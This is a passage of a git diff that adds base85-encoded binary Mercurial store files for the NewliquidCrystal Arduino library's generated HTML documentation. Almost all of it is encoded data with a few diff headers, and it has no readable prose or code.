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 literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__liquid__crystal______s__r2__w.js.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__liquid__crystal______s__r2__w.js.i new file mode 100644 index 0000000000000000000000000000000000000000..efa19d25bbe996a5047318993889e21a16cb3132 GIT binary patch literal 251 zcmZQzWME`~fZYrXjNwrB*8fmYH}%XXQ`45k(QDH_3+tq*Bu(l%0#yU1D(3X|Zsa;- zAmaMH&UM9VkI5#LqJOA-4|N0{Nl-^^hK})wy->B+#h;h^2X_}#@zIcf|XtY;d!mE_DwD$YM z&i^j=ySFPH34hS||LRoz-!|#@AD>~D`?36S@KPQx+0qXwHEUP?i2)HQf99{RdCPmWcDV{q$sk`yV0{(}d4WAAPgon-Vu`@h&Ncic8bpm2{r0i1me|Te5P#0~( zzMy#hwxB(ZHu@TKTO$^2yS4Am;~xeEhc#Yp==%O_-sOkWo<8{Scc*>#_E(xVdv5RJ z4}Lkl-r{h|eeQexagVC4D?e-Ocy;0K_q&@XRR4+k)1Jq5r{ci#hrv&IFa4Fi%;$F^ z9~hVnp00i_>zopr0Dhp#bN~PV00Eu=00002X8-^KZU6uP00000wEzGB0RR90|G9k+ z$lQzod4}I6<@>R@)BFUw5&!@I00000000000C=2ZU|`^2U|^ibz`&Hoz`(%k>ERLt zr0amVgM%4JikYq72c#qdd_r9R|NjqUzIgMswExfqAPbBS95}$*c}E_|*?YcQo;Ck?#rUp20U*4M|i6KoA2Z7o<8NyCg1&Ki_F*)lWX>H{OF!J zlTSy<$@P`8lFJ|0zf(3Z4Op$L)K}=YU-x(6Uf=)c4}XpbS5Zn57ymkWcS}b{a?I`D zm8`b}1PdEJZ}$KD{?h+|XYMX{oI(1R*eN-+#O0@{F+bo^Zs1#6C$qF}?Z3qEUq^rO zpZ{}(d4-2|%o7($lFIULEq_)EeMRp;LSOv&7^X(9WK1$Q>y%<2UM+rLx#P-M>^9 zp3?i`{bkp!w?*;S%gz5S50u}n^DpoH^p`s6rF^~r{@#Qr*$#&f9Gl6{__4_ z;_Kr5uWs+&|ElrX_Q#gTe~DWM4f4J$b7MwWED literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__liquid__crystal______s__r3__w-members.html.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__liquid__crystal______s__r3__w-members.html.i new file mode 100644 index 0000000000000000000000000000000000000000..5a3d11865c332dec20c72070d04d3c3ca565deba GIT binary patch literal 6491 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 